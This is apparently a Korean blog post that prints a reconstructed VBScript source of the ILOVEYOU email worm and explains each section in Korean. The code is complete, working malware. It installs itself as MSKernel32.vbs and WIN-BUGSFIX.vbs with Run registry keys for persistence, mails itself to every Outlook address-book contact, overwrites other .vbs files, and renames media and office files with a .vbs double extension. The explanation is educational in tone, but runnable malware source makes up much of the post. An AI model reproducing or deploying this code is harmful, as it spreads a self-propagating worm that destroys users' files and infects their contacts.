728x90
반응형
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set reg = CreateObject("WScript.Shell")
Set sysdir = reg.ExpandEnvironmentStrings("%SystemRoot%") & "\system\"
' 복사 및 레지스트리 등록
fso.CopyFile WScript.ScriptFullName, sysdir & "MSKernel32.vbs", True
fso.CopyFile WScript.ScriptFullName, sysdir & "WIN-BUGSFIX.vbs", True
reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", sysdir & "MSKernel32.vbs", "REG_SZ"
reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", sysdir & "WIN-BUGSFIX.vbs", "REG_SZ"
' 감염된 이메일 발송
Set outlook = CreateObject("Outlook.Application")
If outlook = "Outlook" Then
Set mapi = outlook.GetNameSpace("MAPI")
For i = 1 To mapi.AddressLists.Count
Set addrList = mapi.AddressLists(i)
If addrList.AddressEntries.Count <> 0 Then
For j = 1 To addrList.AddressEntries.Count
Set mail = outlook.CreateItem(0)
mail.To = addrList.AddressEntries(j)
mail.Subject = "ILOVEYOU"
mail.Body = "kindly check the attached LOVELETTER coming from me."
mail.Attachments.Add(WScript.ScriptFullName)
mail.Send
Next
End If
Next
End If
' 확장자 위장 및 감염
Set folder = fso.GetFolder(fso.GetParentFolderName(WScript.ScriptFullName))
For Each file In folder.Files
ext = LCase(fso.GetExtensionName(file.Name))
Select Case ext
Case "vbs"
If file.Name <> fso.GetFileName(WScript.ScriptFullName) Then
fso.DeleteFile file.Path, True
fso.CopyFile WScript.ScriptFullName, file.Path, True
End If
Case "jpg", "jpeg", "mp3", "mp2", "css", "hta", "js", "jse", "vbe", "wsf", "wsh", "sct", "doc", "xls", "ppt"
fso.MoveFile file.Path, file.Path & ".vbs"
End Select
Next
🧠 전체 코드 문법 및 기능 해설
✅ 1. 에러 무시 설정
On Error Resume Next
- VBScript에서 오류가 발생해도 실행을 계속하도록 설정합니다.
- 악성코드가 실패 시 중단되지 않도록 하기 위한 회피 기술입니다.
✅ 2. 객체 생성 (FileSystemObject, Shell, 경로 설정)
Set fso = CreateObject("Scripting.FileSystemObject")
Set reg = CreateObject("WScript.Shell")
Set sysdir = reg.ExpandEnvironmentStrings("%SystemRoot%") & "\system\"
- FileSystemObject: 파일을 읽고 쓰고 복사하고 삭제하는 객체
- WScript.Shell: 윈도우 환경 변수, 레지스트리, 명령 실행 등을 제어
- %SystemRoot%: 윈도우 시스템 폴더 (C:\Windows)를 참조
- sysdir: 시스템 폴더 경로 완성 (C:\Windows\system\)
✅ 3. 악성 스크립트 복사 및 레지스트리 등록 (부팅 자동 실행)
fso.CopyFile WScript.ScriptFullName, sysdir & "MSKernel32.vbs", True
fso.CopyFile WScript.ScriptFullName, sysdir & "WIN-BUGSFIX.vbs", True
reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", sysdir & "MSKernel32.vbs", "REG_SZ"
reg.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX", sysdir & "WIN-BUGSFIX.vbs", "REG_SZ"
- 현재 실행 중인 파일(WScript.ScriptFullName)을 시스템 폴더에 두 개의 이름으로 복사
- 윈도우 시작 시 자동으로 실행되도록 레지스트리에 등록
- "HKCU\Software\Microsoft\Windows\CurrentVersion\Run": 사용자 로그인 시 자동 실행되는 경로
✅ 4. Outlook 주소록을 활용한 이메일 전파
Set outlook = CreateObject("Outlook.Application")
If outlook = "Outlook" Then
Set mapi = outlook.GetNameSpace("MAPI")
For i = 1 To mapi.AddressLists.Count
Set addrList = mapi.AddressLists(i)
If addrList.AddressEntries.Count <> 0 Then
For j = 1 To addrList.AddressEntries.Count
Set mail = outlook.CreateItem(0)
mail.To = addrList.AddressEntries(j)
mail.Subject = "ILOVEYOU"
mail.Body = "kindly check the attached LOVELETTER coming from me."
mail.Attachments.Add(WScript.ScriptFullName)
mail.Send
Next
End If
Next
End If
- Outlook을 자동 제어하기 위해 COM 객체로 인스턴스를 생성
- 주소록을 순회하면서 각 주소에 메일을 보냄
- 첨부 파일은 자신 (WScript.ScriptFullName)이며 제목은 "ILOVEYOU"
📝 문법 요소 설명
- GetNameSpace("MAPI"): Outlook 메시징 API를 가져옴
- CreateItem(0): 새로운 메일 객체 생성
- Attachments.Add(...): 첨부파일 추가
- mail.Send: 자동 전송
✅ 5. 감염 확산: 현재 폴더 내 파일들 반복 탐색
Set folder = fso.GetFolder(fso.GetParentFolderName(WScript.ScriptFullName))
For Each file In folder.Files
- 현재 실행 파일이 있는 폴더를 기준으로 모든 파일 탐색
✅ 6. 확장자별 감염 처리
ext = LCase(fso.GetExtensionName(file.Name))
Select Case ext
Case "vbs"
If file.Name <> fso.GetFileName(WScript.ScriptFullName) Then
fso.DeleteFile file.Path, True
fso.CopyFile WScript.ScriptFullName, file.Path, True
End If
Case "jpg", "jpeg", "mp3", "mp2", "css", "hta", "js", "jse", "vbe", "wsf", "wsh", "sct", "doc", "xls", "ppt"
fso.MoveFile file.Path, file.Path & ".vbs"
End Select
Next
- VBS 감염: 다른 VBS 파일이 있으면 삭제 후 자기 자신으로 교체
- 다른 확장자 감염: .jpg, .mp3, .doc 등은 .vbs 확장자를 붙여 사용자가 클릭하도록 유도
- 예: holiday.jpg → holiday.jpg.vbs (실제 실행은 VBS 스크립트)
728x90
반응형
'Reviews > Hacking Techniques' 카테고리의 다른 글
전화 시스템 해킹 (Phreaking) 기술 (16) | 2025.05.11 |
---|